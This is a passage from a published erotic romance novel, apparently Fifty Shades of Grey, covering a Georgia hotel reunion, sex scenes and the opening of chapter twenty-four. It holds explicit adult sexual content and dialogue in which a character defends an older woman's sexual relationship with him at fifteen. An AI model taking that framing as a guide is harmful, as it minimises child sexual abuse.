to notice. + +“I don’t want to interrupt the time you have with your mother. I’ll have a quick drink +and then retire. I have work to do,” he states earnestly. + +“Christian, it’s lovely to meet you finally,” Mom interjects, finally finding her voice. + +“Ana has spoken very fondly of you.” + +He smiles at her. + +“Really?” He raises an eyebrow at me, an amused expression on his face, and I flush +again. + +The waiter arrives with our drinks. + +“Hendricks, sir,” he says with a triumphant flourish. + +“Thank you,” Christian murmurs in acknowledgement. + +I sip my latest Cosmo nervously. + +“How long are you in Georgia, Christian?” Mom asks. + +“Until Friday, Mrs. Adams.” + +“Will you have dinner with us tomorrow evening? And please, call me Carla.” + +“I’d be delighted to, Carla.” + +“Excellent. If you two will excuse me, I need to visit the powder room.” + +Mom... you’ve just been. I look at her desperately as she stands and walks off, leaving +us alone together. + +“So, you’re mad at me for having dinner with an old friend.” Christian turns his burn- +ing, wary gaze to me, lifting my hand to his lips and kissing each knuckle gently. + +Jeez, he wants to do this now? + +“Yes,” I murmur as my heated blood courses through me. + +“Our sexual relationship was over long ago, Anastasia,” he whispers. “I don’t want +anyone but you. Haven’t you worked that out yet?” + +I blink at him. + +“I think of her as a child molester, Christian.” I hold my breath waiting for his reaction. + +Christian blanches. + +“That’s very judgmental. It wasn’t like that,” he whispers, shocked. He releases my +hand. + +Judgmental? + +“Oh, how was it then?” I ask. The Cosmos are making me brave. + + +He frowns at me, bewildered. I continue. + +“She took advantage of a vulnerable fifteen-year-old boy. If you had been a fifteen- +year-old girl and Mrs. Robinson was a Mr. Robinson, tempting you into a BDSM lifestyle, +that would have been okay? If it was Mia, say?” + +He gasps and scowls at me. + +“Ana, it wasn’t like that.” + +I glare at him. + +“Okay, it didn’t feel like that to me,” he continues quietly. “She was a force for good. +What I needed.” + +“I don’t understand.” It’s my turn to look bewildered. + +“Anastasia, your mother will be back shortly. I’m not comfortable talking about this +now. Later maybe. If you don’t want me here, I have a plane on stand-by at Hilton Head. + +I can go.” + +He’s angry with me... no. + +“No - don’t go. Please. I’m thrilled you’re here. I’m just trying to make you under- +stand. I’m angry that as soon as I left, you had dinner with her. Think about how you are +when I get anywhere near Jose. Jose is a good friend. I have never had a sexual relation- +ship with him. Whereas you and her,” I trail off, unwilling to take that thought further. + +“You’re jealous?” He stares at me, dumbfounded, and his eyes soften slightly, warm- +ing. + +“Yes, and angry about what she did to you.” + +“Anastasia, she helped me, that’s all I’ll say about that. And as for your jealousy, put +yourself in my shoes. I haven’t had to justify my actions to anyone in the last seven years. +Not one person. I do as I wish, Anastasia. I like my autonomy. I didn’t go and see Mrs. +Robinson to upset you. I went because every now and then we have dinner. She’s a friend +and a business partner.” + +Business partner? Holy crap. This is news. + +He gazes at me, assessing my expression. + +“Yes, we’re business partners. The sex is over between us. It has been for years.” +“Why did your relationship finish?” + +His mouth narrows, and his eyes gleam. + +“Her husband found out.” + +Holy shit! + +“Can we talk about this some other time - somewhere more private?” he growls. + +“I don’t think you’ll ever convince me that she’s not some kind of paedophile.” + +“I don’t think of her that way. I never have. Now that’s enough!” he snaps. + +“Did you love her?” + +“How are you two getting on?” My mother has returned, unseen by either of us. + +I plaster a fake smile on my face as both Christian and I lean back hastily... guiltily. +She gazes at me. + +“Fine, Mom.” + +Christian sips his drink, watching me closely, his expression guarded. What is he +thinking? Did he love her? I think if he did, I will lose it, big time. + +“Well ladies, I shall leave you to your evening.” + + +No... no... he can’t leave me hanging like this. + +“Please put these drinks on my tab, room number 612. I’ll call on you in the morning, +Anastasia. Until tomorrow, Carla.” + +“Oh, it’s so nice to hear someone use your full name.” + +“Beautiful name for a beautiful girl,” Christian murmurs, shaking her outstretched +hands, and she actually simpers. + +Oh Mom, - et tu Brute? I stand, gazing up at him, imploring him to answer my ques- +tion, and he kisses my cheek, chastely. + +“Laters, baby,” he whispers in my ear. Then he’s gone. + +Damned control-freak-bastard. My anger returns in full force. I slump into my chair +and turn to face my mother. + +“Well strike me down with a feather, Ana. He’s a catch. I don’t know what’s going on +between you two though. I think you need to talk to each other. Phew - the UST in here, +it’s unbearable.” She fans herself theatrically. + +“MOM!” + +“Go talk to him.” + +“I can’t. I came here to see you.” + +“Ana, you came here because you’re confused about that boy. It’s obvious you two are +crazy about each other. You need to talk to him. He’s just flown three thousand odd miles +to see you, for heaven’s sake. And you know how awful it is to fly.” + +I flush. I haven’t told her about his private plane. + +“What?” she snaps at me. + +“He has his own plane,” I mumble, embarrassed, and it’s only two and a half thousand +miles, Mom. + +Why am I embarrassed? Her eyebrows shoot up. + +“Wow,” she mutters. “Ana, there’s something going on between you two. I’ve been +trying to fathom it since you arrived here. But the only way you are going to sort the prob- +lem, whatever it is, is to talk it through with him. You can do all the thinking you like - but +until you actually talk, you’re not going to get anywhere.” + +I frown at my mother. + +“Ana, honey, you’ve always had a tendency to over-analyze everything. Go with your +gut. What does that tell you, sweetheart?” + +I stare at my fingers. + +“I think I’m in love with him,” I mutter. + +“I know darling. And he with you.” + +“No!” + +“Yes, Ana. Hell - what do you need? A neon sign flashing on his forehead?” + +I gape at her and tears prick the corner of my eyes. + +“Ana, darling. Don’t cry.” + +“I don’t think he loves me.” + +“I don’t care how rich you are, you don’t drop everything and get in your private plane +to cross a whole continent just for afternoon tea. Go to him! This is a beautiful location, +very romantic. It’s also neutral territory.” + +I squirm under her gaze. I want to go and I don’t. + + +“Darling, don’t feel you have to come back with me. I want you happy - and right now +I think the key to your happiness is upstairs in room 612. If you need to come home later, +the key is under the Yucca plant on the front porch. If you stay - well. . . you’re a big girl +now. Just be safe.” + +I flush stars and stripes red. Jeez, Mom. + +“Let’s finish our Cosmos first.” + +“That’s my girl, Ana.” She grins. + + +I knock timidly on room 612 and wait. Christian opens the door. He’s on his cell. He +blinks at me in complete surprise, then holds the door open wide and beckons me into his +room. + +“All the redundancy packages concluded?... And the cost?... ” Christian whistles be- +tween his teeth. “Sheesh... that was one expensive mistake... And Lucas? ... ” + +I glance around the room. He’s in a suite, like the one at the Heathman. The fur- +nishings here are ultra modern, very now. All muted dark purples and golds with bronze +starbursts on the walls. Christian walks over to dark wood unit and pulls open a door to +reveal a mini-bar. He indicates that I should help myself, then wanders into the bedroom. + +I assume it’s so I can no longer hear his conversation. I shrug. He didn’t stop his call when +I entered his study that time. I hear water running... he’s filling a bath. I help myself to an +orange juice. He ambles back into the room. + +“Have Andrea send me the schematics. Barney said he’d cracked the problem... ” +Christian laughs. “No, Friday... There’s a plot of land here that I’m interested in... Yeah, +get Bill to call... No, tomorrow... I want to see what Georgia will offer if we move in.” + +Christian doesn’t take his eyes off me. Handing me a glass, he points to an ice bucket. + +“If their incentives are attractive enough... I think we should consider it, though I’m +not sure about the damned heat here... I agree Detroit has its advantages too, and it’s +cooler... ” His face darkens momentarily. Why? “Get Bill to call. Tomorrow... Not too +early.” He hangs up and stares at me, his face unreadable, and the silence stretches between +us. + +Okay... my turn to talk. + +“You didn’t answer my question,” I murmur. + +“No. I didn’t,” he says quietly, his gray eyes wide and cautious. + +“No you didn’t answer my question or no you didn’t love her?” + +He folds his arms and leans against the wall, and a small smile plays upon his lips. + +“What are you doing here, Anastasia?” + +“I’ve just told you.” + +He takes a deep breath. + +“No. I didn’t love her.” He frowns at me, amused yet puzzled. + +I can’t believe I’m holding my breath. I sag like an old cloth sack as I release it. Well, +thank heavens for that. How would I feel if he actually loved the witch? + +“You’re quite the green-eyed goddess, Anastasia. Who would have thought?” + +“Are you making fun of me, Mr. Grey?” + + +“I wouldn’t dare.” He shakes his head solemnly, but he has a wicked gleam in his eye. +“Oh, I think you would, and I think you do - often.” + +He smirks as I give him back the words he’s said to me before. His eyes darken. +“Please stop biting your lip. You’re in my room, I haven’t set eyes on you for nearly +three days, and I’ve flown a long way to see you.” His tone has changed to soft, sensual. + +His BlackBerry buzzes, distracting us both, and he switches it off without glancing to +see who it is. My breath hitches. I know where this is going... but we’re supposed to talk. +He takes a step towards me wearing his sexy predatory look. + +“I want you, Anastasia. Now. And you want me. That’s why you’re here.” + +“I really did want to know,” I whisper as a defense. + +“Well, now you that you do, are you coming or going?” + +I flush as he comes to a halt in front of me. + +“Coming,” I murmur, staring anxiously up at him. + +“Oh, I hope so.” He gazes down at me. “You were so mad at me,” he breathes. + +“Yes.” + +“I don’t remember anyone but my family ever being mad at me. I like it.” + +He runs the tips of fingers down my cheek. Oh my, his proximity, his delicious Chris- +tian smell. We’re supposed to be talking, but my heart is pounding, my blood singing as +it courses through my body, desire, pooling, unfurling... everywhere. Christian bends and +runs his nose along my shoulder and up to the base of my ear, his fingers slipping into my +hair. + +“We should talk.” I whisper. + +“Later.” + +“There’s so much I want to say.” + +“Me too.” + +He plants a soft kiss under my earlobe while his fingers tighten in my hair. Pulling +my head back, he exposes my throat to his lips. His teeth skim my chin, and he kisses my +throat. + +“I want you,” he breathes. + +I moan and reach up and grasp his arms. + +“Are you bleeding?” He continues to kiss me. + +Holy Fuck. Does nothing slip by him? + +“Yes,” I whisper, embarrassed. + +“Do you have cramps?” + +“No.” I flush. Jeez... + +He stops and looks down at me. + +“Did you take your pill?” + +“Yes.” How mortifying is this? + +“Let’s go have a bath.” + +Oh? + +He takes my hand and leads me into the bedroom. It’s dominated by a super-king +size bed with elaborate drapes. But we don’t stop there. He takes me into the bathroom +which is two rooms, all aquamarines and white limestone. It’s huge - In the second room +a sunken bath, big enough for four people with stone steps that lead into it, is slowly filling + + +with water. Steam rises gently above the foam, and I notice a stone seat all the way round. +Candles flicker to the side. Wow... he’s done all this while on the phone. + +“Do you have a hair tie?” + +I blink at him, fish into my jeans pocket, and pull out a hair elastic. + +“Put your hair up,” he orders softly. I do as he asks. + +It’s warm and sultry beside the bath, and my camisole starts to stick. He leans over and +shuts off the faucet. leadingL me back into the first part of the bathroom, he stands behind +me as we face the wall-sized mirror above the two glass sinks. + +“Lift up your arms,” he breathes. I do as I’m told, and he lifts my camisole over my +head so that I’m topless standing in front of him. Not taking his eyes off mine, he reaches +around and undoes the top button on my jeans and the zipper. + +“I’m going to have you in the bathroom, Anastasia.” + +Leaning down, he kisses my neck. I move my head to one side and give him easier +access. Hooking his thumbs into my jeans, he slowly slides them down my legs, sinking +down behind me as he pulls them and my panties to the floor. + +“Step out of your jeans.” + +Grasping the edge of the sink, I do just that. I am now naked, staring at myself, and +he’s kneeling behind me. He kisses and then softly bites my behind, making me gasp. He +stands and stares at me once more in the mirror. I try hard to stay still, ignoring my natu- +ral inclination to cover myself. He splays his hand across my belly, the span of his hand +almost reaching from hip to hip. + +“Look at you. You are so beautiful,” he murmurs. “See how you feel.” He clasps both +my hands in his, his palms against the backs of my hands, his fingers in between mine so +that my fingers are splayed. He places my hands on my belly. “Feel how soft your skin is.” + +His voice is soft and low. He moves my hands in a slow circle then upwards towards my +breasts. “Feel how full your breasts are.” He holds my hands so that they cup my breasts. + +He gently strokes my nipples with his thumbs over and over. + +I moan between parted lips and arch my back so my breasts fill my palms. He squeezes +my nipples between our thumbs, pulling gently so that they elongate further. I watch in +fascination at the wanton creature writhing in front of me. Oh this feels good. I groan and +close my eyes, no longer wanting to see that libidinous woman in the mirror falling apart +under her own hands... his hands... feeling my skin as he would, experiencing how arous- +ing it is - just his touch, and his calm, soft, commands. + +“That’s right, baby,” he murmurs. + +He guides my hands down the sides of my body, past my waist to my hips, and across +to my pubic hair. He slides his leg in between mine, pushing my feet further apart, wid- +ening my stance, and runs my hands over my sex, one hand at a time in turn, setting up a +rhythm. It is so erotic. Truly I am a marionette and he is the master puppeteer. + +“Look at you glow, Anastasia,” he whispers as he trails kisses and soft bites along my +shoulder. I groan. Suddenly he lets go. + +“Carry on,” he orders, and stands back watching me. + +I rub myself. No. I want him, him to do it. It doesn’t feel the same. I’m lost without +him. He pulls his shirt over his head and quickly takes off his jeans. + +“You’d rather I do this?” His gray gaze scorches mine in the mirror. + + +“Oh yes... please,” I breathe. + +He wraps his arms around me again and takes my hands once more, continuing the +sensual caress across my sex, over my clitoris. His chest hair scrapes against me, his erec- +tion presses against me. Oh soon... please. He bites the nape of my neck, and I close my +eyes, enjoying the myriad of sensations; my neck, my groin... the feel of him behind me. + +He stops abruptly and spins me around, circling my wrists with one hand, imprisoning my +hands behind me, and pulling at my ponytail with the other. I am flush against him, and he +kisses me wildly, ravaging my mouth with his. Holding, h me in place. + +His breathing is ragged, matching mine. + +“When did you start your period, Anastasia?” he asks out of the blue, gazing down at +me. + +“Err... yesterday,” I mumble in my highly aroused state. + +“Good.” He releases me and turns me around. + +“Hold on to the sink,” he orders and pulls my hips back again, like he did in the play- +room, so I’m bending down. + +He reaches between my legs and pulls on the blue string... what! And... a gently pulls +my tampon out and tosses it into the nearby toilet. Holy fuck. Sweet mother of all... Jeez. +And then he’s inside me... ah! Skin against skin... moving slowly at first... easily, testing +me, pushing me... oh my. I grip on to the sink, panting, forcing myself back on him, feel- +ing him inside me. Oh the sweet agony... his hands clasp my hips. He sets a punishing +rhythm - in, out, and he reaches around and finds my clitoris, massaging me... oh jeez. I +can feel myself quicken. + +“That’s right, baby,” he rasps as he grinds into me, angling his hips, and it’s enough to +send me flying, flying high. + +Whoa... and I come, loudly, gripping for dear life onto the sink as I spiral down through +my orgasm, everything spinning and clenching at once. He follows, clasping me tightly, +his front on my back as he climaxes and calls my name like it’s a litany or a prayer. + +“Oh, Ana!” His breathing is ragged in my ear, in perfect synergy with mine. “Oh, +baby, will I ever get enough of you?” he whispers. + +Will it always be like this? So overwhelming, so all-consuming, so bewildering and +beguiling. I wanted to talk, but now I’m spent and dazed from his lovemaking and wonder- +ing if I will ever get enough of him? + +We sink slowly to the floor, and he wraps his arms around me, imprisoning me. I am +curled on his lap, my head against his chest, as we both calm. Very subtly, I inhale his +sweet, intoxicating Christian scent. I must not nuzzle. I must not nuzzle. I repeat the mantra +in my head - though I am so tempted to do so. I want to lift my hand and draw patterns +in his chest hair with my fingertips. . . but I resist, knowing that he’ll hate it if I do. We are +both quiet, lost in our thoughts. I am lost in him. . . lost to him. + +I remember that I have my period. + +“I’m bleeding,” I murmur. + +“Doesn’t bother me,” he breathes. + +“I noticed.” I can’t keep the dryness out of my voice. + +He tenses slightly. + +“Does it bother you?” he asks softly. + + +Does it bother me? Maybe it should... should it? No, it doesn’t. I lean back and look +up at him, and he gazes down at me, his eyes a soft cloudy gray. + +“No, not at all.” + +He smirks. + +“Good. Let’s have a bath.” + +He uncurls from around me, placing me on the floor as he makes to stand. As he does, + +I notice again the small, round, white scars on his chest. They are not chicken pox, I muse +absentmindedly. Grace said he was hardly affected. Holy shit... they must be burns. + +Burns from what? I blanch at the realization, shock and revulsion coursing through me. + +From cigarettes? Mrs. Robinson, his birth mother, who? Who did this to him? Maybe +there’s a reasonable explanation, and I’m over-reacting - wild hope blossoms in my chest +- hope that I am wrong. + +“What is it?” Christian’s face is wide-eyed with alarm. + +“Your scars,” I whisper. “They’re not from chicken pox.” + +I watch as in a split second he closes down, his stance changing from relaxed, calm, +and at ease, to defensive - angry, even. He frowns, his face darkening, and his mouth +presses into a thin, hard line. + +“No, they’re not,” he snaps, but he does not elaborate further. He stands, holds his +hand out for me, and hauls me to my feet. + +“Don’t look at me like that.” His voice is colder and scolding as he lets go of my hand. + +I flush, chastened, and stare down at my fingers, and I know, I know that someone +stubbed cigarettes out on Christian. I feel sick. + +“Did she do that?” I whisper before I can stop myself. + +He says nothing, so I’m forced to look at him. He’s glaring at me. + +“She? Mrs. Robinson? She’s not an animal, Anastasia. Of course she didn’t. I don’t +understand why you feel you have to demonize her.” + +He’s standing there, naked, gloriously naked, with my blood on him... and we’re fi- +nally having this conversation. And I’m naked too - neither of us has anywhere to hide, +except perhaps the bath. I take a deep breath, move past him, and step down into the water. +It is deliciously warm, soothing, and deep. I melt into the fragrant foam and stare up at +him, hiding among the bubbles. + +“I just wonder what you would be like if you hadn’t met her. If she hadn’t introduced +you to your... urn, lifestyle.” + +He sighs and steps down into the bath opposite me, his jaw clenched with tension, his +eyes frosty. As he gracefully submerges his body beneath the water, he’s careful not to +touch me. Jeez - have I made him that mad? + +He stares impassively at me, his face unreadable, saying nothing. Again the silence +stretches between us, but I hold my counsel. It’s your turn Grey - I am not caving this time. +My subconscious is nervous, anxiously biting her nails - this could go either way. Chris- +tian and I stare at each other, but I am not backing down. Eventually, after what seems like +a millennium, he shakes his head, and he smirks. + +“I would probably have gone the way of my birth mother, had it not been for Mrs. +Robinson.” + +Oh! I blink at him. Crack addict or whore? Possibly both? + + +“She loved me in away I found... acceptable,” he adds with a shrug. + +What the hell does that mean? + +“Acceptable?” I whisper. + +“Yes.” He stares intently at me. “She distracted me from the destructive path I found +myself following. It’s very hard to grow up in a perfect family when you’re not perfect.” + +Oh no. My mouth dries as I digest his words. He gazes as me, his expression unfath- +omable. He’s not going to tell me any more. How frustrating. Inside, I’m reeling - he +sounds so full of self-loathing. And Mrs. Robinson loved him. Holy shit... does she still? + +I feel like I’ve been kicked in the stomach. + +“Does she still love you?” + +“I don’t think so, not like that.” He frowns as if he hasn’t thought about the idea. “I +keep telling you it was a long time ago. It’s in the past. I couldn’t change it even if I +wanted to, which I don’t. She saved me from myself.” He’s exasperated and runs a wet +hand through his hair. “I’ve never discussed this with anyone.” He pauses, “Except Dr. + +Flynn, of course. And the only reason I’m talking about this now, to you, is because I want +you to trust me.” + +“I do trust you, but I do want to know you better, and whenever I try to talk to you, you +distract me. There’s so much I want to know.” + +“Oh for pity’s sake, Anastasia. What do you want to know? What do I have to do?” His +eyes blaze, and though he doesn’t raise his voice, I know he’s trying to rein in his temper. + +I glance quickly down at my hands, clear beneath the water as the bubbles have started +to disperse. + +“I’m just trying to understand, you’re such an enigma. Unlike anyone I’ve met before. + +I’m glad you’re telling me what I want to know.” + +Jeez - maybe it’s the Cosmopolitans making me brave, but suddenly I cannot bear the +distance between us. I move through the water to his side and lean against him so we’re +touching, skin to skin. He tenses and eyes me warily, as if I might bite. Well, that’s a turn- +around. My inner goddess gazes at him in quiet, surprised speculation. + +“Please don’t be angry with me,” I whisper. + +“I am not angry with you, Anastasia. I’m just not used to this kind of talking - this +probing. I only have this with Dr. Flynn and with-” He stops and frowns. + +“With her. Mrs. Robinson. You talk to her?” I prompt, trying to rein in my own temper. + +“Yes, I do.” + +“What about?” + +He shifts in the bath so that he’s facing me, causing the water to lap over the sides onto +the floor. He places his arm around my shoulders, resting on the ledge of the bath. + +“Persistent aren’t you?” he murmurs, a trace of irritation in his voice. “Life, the uni- +verse - business. Anastasia, Mrs. R and I go way back. We can discuss anything.” + +“Me?” I whisper. + +“Yes.” Gray eyes watch me carefully. + +I bite my bottom lip, trying to curb the sudden rush of anger that surfaces. + +“Why do you talk about me?” I endeavor not to sound whiney and petulant, but I don’t +succeed. I know I should stop. I am pushing him too hard. My subconscious has her Ed- +vard Munch face on again. + + +“I’ve never met anyone like you, Anastasia.” + +“What does that mean? Anyone who just didn’t automatically sign your paperwork, +no questions asked?” + +He shakes his head. + +“I need advice.” + +“And you take advice from Mrs. Paedo?” I snap. The hold on my temper is more tenta- +tive than I thought. + +“Anastasia - enough,” he snaps back sternly, his eyes narrowing. + +I’m skating on thin ice, and I’m heading into danger. “Or I’ll put you across my knee. + +I have no sexual or romantic interest in her whatsoever. She’s a dear, valued friend and a +business partner. That’s all. We have a past, a shared history, which was monumentally +beneficial for me, though it fucked up her marriage - but that side of our relationship is +over.” + +Jeez - another part I just can’t understand. She was married as well. How did they get +away with it for so long? + +“And your parents never found out?” + +“No,” he growls. “I’ve told you this.” + +And I know that’s it. I cannot ask him any further questions about her because he will +lose it with me. + +“Are you done?” he snaps. + +“For now.” + +He takes a deep breath and visibly relaxes in front of me, like a great weight is lifted +from his shoulders or something. + +“Right - my turn,” he mutters, and his glare turns steely, speculative. “You haven’t +responded to my email.” + +I flush. Oh, I hate the spotlight on me, and it seems he’s going to get angry every time +we have a discussion. I shake my head. Perhaps that’s how he feels about my questions, +he’s not used to being challenged. The thought is revelatory, distracting, and unnerving. + +“I was going to respond. But now you’re here.” + +“You’d rather I wasn’t?” he breathes, his expression impassive again. + +“No, I’m pleased,” I murmur. + +“Good.” He gives me a genuine, relieved smile. “I’m pleased I’m here too - in spite of +your interrogation. So, while it’s acceptable to grill me, you think you can claim some kind +of diplomatic immunity just because I’ve flown all this way to see you? I’m not buying it, + +Miss Steele. I want to know how you feel.” + +Oh no... + +“I told you. I am pleased you’re here. Thank you for coming all this way,” I say feebly. + +“It’s my pleasure, Miss Steele.” His eyes shine as he leans down and kisses me gently. +I feel myself responding automatically. The water is still warm, the bathroom still steamy. + +He stops and pulls back, gazing down at me. + +“No. I think I want some answers first before we do any more.” + +More? There’s that word again. And he wants answers... answers to what? I don’t +have a secret past - I don’t have a harrowing childhood. What could he possibly want to +know about me that he doesn’t already know? + + +I sigh, resigned. + +“What do you want to know?” + +“Well, how you feel about our would-be arrangement, for starters.” + +I blink at him. Truth or dare time - my subconscious and inner goddess glance ner- +vously at one another. Hell, let’s go for truth. + +“I don’t think I can do it for an extended period of time. A whole weekend being some +one I’m not.” I flush and stare at my hands. + +He tips my chin up, and he’s smirking at me, amused. + +“No, I don’t think you could either.” + +And part of me feels slightly affronted and challenged. + +“Are you laughing at me?” + +“Yes, but in a good way,” he says with a small smile. + +He leans down and kisses me softly, briefly. + +“You’re not a great submissive,” he breathes as he holds my chin, his eyes dancing +with humor. + +I stare at him shocked, then I burst out laughing - and he joins me. + +“Maybe I don’t have a good teacher.” + +He snorts. + +“Maybe. Perhaps I should be stricter with you.” He cocks his head to one side and +gives me an artful smile. + +I swallow. Jeez, no. But at the same time, my muscles clench deliciously deep inside +It is his way of showing that he cares. Perhaps the only way he can show he cares - I real- +ize that. He’s staring at me, gauging my reaction. + +“Was it that bad when I spanked you the first time?” + +I gaze back at him, blinking. Was it that bad? I remember feeling confused by my +reaction. It hurt, but not that much in retrospect. He’s said over and over again it’s more +in my head. And the second time... Well, that was good... hot. + +“No, not really,” I whisper. + +“It’s more the idea of it?” he prompts. + +“I suppose. Feeling pleasure, when one isn’t supposed to.” + +“I remember feeling the same. Takes a while to get your head around it.” + +Holy hell. This was when he was a kid. + +“You can always safe-word, Anastasia. Don’t forget that. And, as long as you follow +the rules, which fulfill a deep need in me for control and to keep you safe, then perhaps we +can find a way forward.” + +“Why do you need to control me?” + +“Because it satisfies a need in me that wasn’t met in my formative years.” + +“So it’s a form of therapy?” + +“I’ve not thought of it like that, but yes, I suppose it is.” + +This I can understand. This will help. + +“But, here’s the thing - one moment you say don’t defy me, the next you say you like +to be challenged. That’s a very fine line to tread successfully.” + +He gazes at me for a moment, then frowns. + +“I can see that. But you seem to be doing fine so far.” + + +“But at what personal cost? I’m tied up in knots here.” + +“I like you tied up in knots,” he smirks. + +“That’s not what I meant!” I splash him in exasperation. + +He gazes down at me, arching an eyebrow. + +“Did you just splash me?” + +“Yes.” Holy shit... that look. + +“Oh, Miss Steele.” He grabs me and pulls me onto his lap, sloshing water all over the +floor. “I think we’ve done enough talking for now.” + +He clasps his hands on either side of my head and kisses me. Deeply. Possessing +my mouth. Angling my head... controlling me. I moan against his lips. This is what he +likes. This is what he’s so good at. Everything ignites inside me and my fingers are in his +hair, holding him to me, and I’m kissing him back and saying I want you too the only way +I know how. He groans, shifting me so I’m astride him, kneeling over him, his erection +beneath me. He pulls back and looks at me, his eyes hooded, glowing and lustful. I drop +my hands to grab on to the edge of the bath but he grips both my wrists and pulls my hands +behind my back, holding them together in one hand. + +“I’m going to have you now,” he whispers and lifts me so that I’m hovering over him. +“Ready?” he breathes. + +“Yes,” I whisper, and he eases me on to him, slowly, exquisitely slowly... filling me... +watching me as he takes me. + +I groan, closing my eyes, and I revel in the sensation, the stretching fullness. He flexes +his hips, and I gasp, leaning forward, resting my forehead against his. + +“Please let my hands go,” I whisper. + +“Don’t touch me,” he pleads, and releasing my wrists, he grabs my hips. + +Clasping the bath ledge, I move up and then down slowly, opening my eyes to gaze at +him. He’s watching me. His mouth open slightly, his breathing halted, stilted - his tongue +between his teeth. He looks so... hot. We’re wet and slippery and moving against each +other. I lean down and kiss him. He closes his eyes. Tentatively, I bring my hands up to +his head and run my fingers through his hair, not taking my lips from his mouth. This is +allowed. He likes this. I like this. And we move together. I tug his hair, tipping his head +back and deepen the kiss, riding him - faster, picking up the rhythm. I moan against his +mouth. He starts to lift me faster, faster... holding my hips. Kissing me back. We are wet +mouths and tongues, tangled hair, and moving hips. All sensation... all consuming again. + +I am close... I am starting to recognize this delicious tightening... quickening. And the +water... it’s swirling around us, our own whirlpool, a stirring vortex as our movements +become more frantic... sloshing everywhere, mirroring what’s happening inside me... and +I just don’t care. + +I love this man. I love his passion, the effect I have on him. I love that he’s flown so +far to see me. I love that he cares about me... he cares. It’s so unexpected, so fulfilling. + +He is mine, and I am his. + +“That’s right, baby,” he breathes. + +And I come, my orgasm ripping through me, a turbulent, passionate, apogee that de- +vours me whole. And suddenly Christian crushes me to him... his arms wrapped around +my back as he finds his release. + + +“Ana, baby!” he cries, and it’s a wild invocation, stirring and touching the depths of +my soul. + + +We lie staring at each other, gray eyes into blue, face to face, in the super king bed, both +hugging our pillows on our fronts. Naked. Not touching. Just looking and admiring, cov- +ered by the sheet. + +“Do you want to sleep?” Christian asks, his voice soft. He is beautiful; the mix of col- +ors in his hair vivid against the white Egyptian cotton pillowcase, gray eyes, smoldering, +expressive. He looks concerned. + +“No. I’m not tired.” I feel strangely energized. It’s been so good to talk - I don’t want +to stop. + +“What do you want to do?” he asks. + +“Talk.” + +He smiles. + +“About what?” + +“Stuff.” + +“What stuff?” + +“You.” + +“What about me?” + +“What’s your favorite film?” + +He grins. + +“Today, it’s The Piano’.” + +His grin is infectious. + +“Of course. Silly me. Such a sad, exciting score, which no doubt you can play? So +many accomplishments, Mr. Grey.” + +“And the greatest one is you, Miss Steele.” + +“So I am number seventeen.” + +He frowns at me not comprehending. + +“Seventeen?” + +“Number of women you’ve urn... had sex with.” + +His lips quirk up, his eyes shininq with incredulity. + +“Not exactly.” + +“You said fifteen,” My confusion is obvious. + +“I was referring to the number of women in my playroom. I thought that’s what you +meant. You didn’t ask me how many women I’d had sex with.” + +“Oh.” Holy shit... there’s more... How? I gape at him. “Vanilla?” + +“No. You are my one vanilla conquest,” he shakes his head, still grinning at me. + +Why does he find this funny? And why am I grinning back at him like an idiot? + +“I can’t give you a number. I didn’t put notches in the bedpost or anything.” + +“What are we talking - tens, hundreds. . . thousands?” My eyes grow wilder as the +numbers get larger. + +“Tens. We’re in the tens, for pity’s sake.” + + +“All submissives?” + +“Yes.” + +“Stop grinning at me,” I scold him mildly, trying and failing to keep a straight face. + +“I can’t. You’re funny.” + +“Funny peculiar or funny ha ha?” + +“A bit of both I think.” His words mirror mine. + +“That’s a damned cheek, coming from you.” + +He leans across and kisses the tip of my nose. + +“This will shock you, Anastasia. Ready?” + +I nod, wide-eyed, still with the stupid grin on my face. + +“All submissives in training, when I was training. There are places in and around Se- +attle that one can go and practice. Learn to do what I do,” he says. + +What? + +“Oh.” I blink at him. + +“Yep, I’ve paid for sex, Anastasia.” + +“That’s nothing to be proud of,” I mutter haughtily. “And you’re right... I am deeply +shocked. And cross that I can’t shock you.” + +“You wore my underwear.” + +“Did that shock you?” + +“Yes.” My inner goddess pole-vaults over the fifteen-foot bar. + +“You didn’t wear your panties to meet my parents.” + +“Did that shock you?” + +“Yes.” + +Jeez, the bar’s moved to sixteen feet. + +“It seems I can only shock you in the underwear department.” + +“You told me you were a virgin. That’s the biggest shock I’ve ever had.” + +“Yes, your face was a picture, a Kodak moment.” I giggle. + +“You let me work you over with a riding crop.” + +“Did that shock you?” + +“Yep.” + +I grin. + +“Well, I may let you do it again.” + +“Oh, I do hope so, Miss Steele. This weekend?” + +“Okay,” I agree, shyly. + +“Okay?” + +“Yes. I’ll go to the Red Room of Pain again.” + +“You say my name.” + +“That shocks you?” + +“The fact that I like it shocks me.” + +“Christian.” + +He grins. + +“I want to do something tomorrow.” His eyes glow with excitement. + +“What?” + +“A surprise. For you.” His voice is low and soft. + + +I raise an eyebrow and stifle a yawn at the same time. + +“Am I borinq you, Miss Steele?” His tone is sardonic. + +“Never.” + +He leans across and kisses me gently on my lips. + +“Sleep,” he commands, then switches off the light. + +And in this quiet moment, as I close my eyes, spent and sated, I think I’m in the eye of +the storm. And in spite of all he’s said, and what he hasn’t said, I don’t think I have ever +been so happy. + + +Chapter Twenty-Four + + +Christian stands in a steel-barred cage. Wearing his soft, ripped jeans, his chest and feet +are mouthwateringly naked, and he’s staring at me. His private-joke smile etched on his +beautiful face and his eyes a molten gray. In his hands he holds a bowl of strawberries. +He ambles with athletic grace to the front of the cage, gazing intently at me. Holding up a +plump ripe strawberry, he extends his hand through the bars. + +“Eat,” he says, his tongue caressing the front of his palate as he enunciates the ‘t’. + +I try and move toward him, but I’m tethered, held back by some unseen force around +my wrist, holding me. Let me go. + +“Come, eat,” he says, smiling his delicious crooked smile. + +I pull and pull... let me go! I want to scream and shout, but no sound emerges. I am +mute. He stretches a little further, and the strawberry is at my lips. + +“Eat, Anastasia.” His mouth forms my name, lingering sensually on each syllable. + +I open my mouth and bite, the cage disappears, and my hands are free. I reach up to +touch him, graze my fingers through his chest hair. + +“Anastasia.” + +No. I moan. + +“Come on, baby.” + +No. I want to touch you. + +“Wake up.” + + +No. Please. My eyes flicker unwillingly open for a split second. I’m in bed and some- +one is nuzzling my ear. + +“Wake up, baby,” he whispers, and the effect of his sweet voice spreads like warm +melted caramel through my veins. + +It’s Christian. Jeez, it’s still dark, and the images of him from my dream persists, dis- +concerting and tantalizing in my head. + +“Oh... no,” I groan. I want back at his chest, back to my dream. Why is he waking me? +It’s the middle of the night, or so it feels. Holy shit. Does he want sex - now? + +“Time to get up, baby. I’m going to switch on the sidelight.” His voice is quiet. + +“No,” I groan. + +“I want to chase the 